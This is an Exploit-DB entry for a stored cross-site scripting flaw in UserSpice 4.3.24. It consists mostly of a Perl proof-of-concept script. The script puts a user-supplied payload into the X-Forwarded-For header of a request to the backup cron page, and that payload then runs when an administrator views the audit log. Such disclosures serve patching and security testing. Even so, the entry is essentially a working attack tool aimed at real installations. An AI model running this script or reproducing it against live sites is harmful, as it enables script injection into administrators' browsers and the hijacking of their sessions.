userSpice 4.3.24 - 'X-Forwarded-For' Cross-Site Scripting

EDB-ID: 44871
Author: Dolev Farhi
Published: 2018-06-11
CVE: N/A
Type: Webapps
Platform: PHP
Vulnerable App: N/A

 # Date: 2018-06-10 
# Author: Dolev Farhi
# Vendor or Software Link: www.userspice.com
# Version: 4.3.24
# Tested on: Ubuntu
# Payload will get executed when admin visits the audit log page

#!/usr/bin/perl

use strict;
use LWP::UserAgent;

print "UserSpice 4.3.24 X-Forwarded-For XSS PoC\n";

if ($#ARGV != 0 ) {
print "usage: $0 <address> \n";
exit 1;
}

my $server = $ARGV[0] . "/users/cron/backup.php?from=users/cron_manager.php/";
my $ua = LWP::UserAgent->new;
my $req = HTTP::Request->new(GET => 'http://' . $server);

print "Enter payload: ";

my $xff = <STDIN>;
chomp $xff;

if ($xff eq "")
{
print "Empty payload \n";
exit 1;
}

$req->header('X-Forwarded-For' => $xff);

my $resp = $ua->request($req);
if ($resp->is_success) {
print "[OK] Sent payload: $xff\n";
exit 0;
}
else {
print "[Error]: code: ", $resp->code, $resp->message, "\n";
exit 1;
}

Related Posts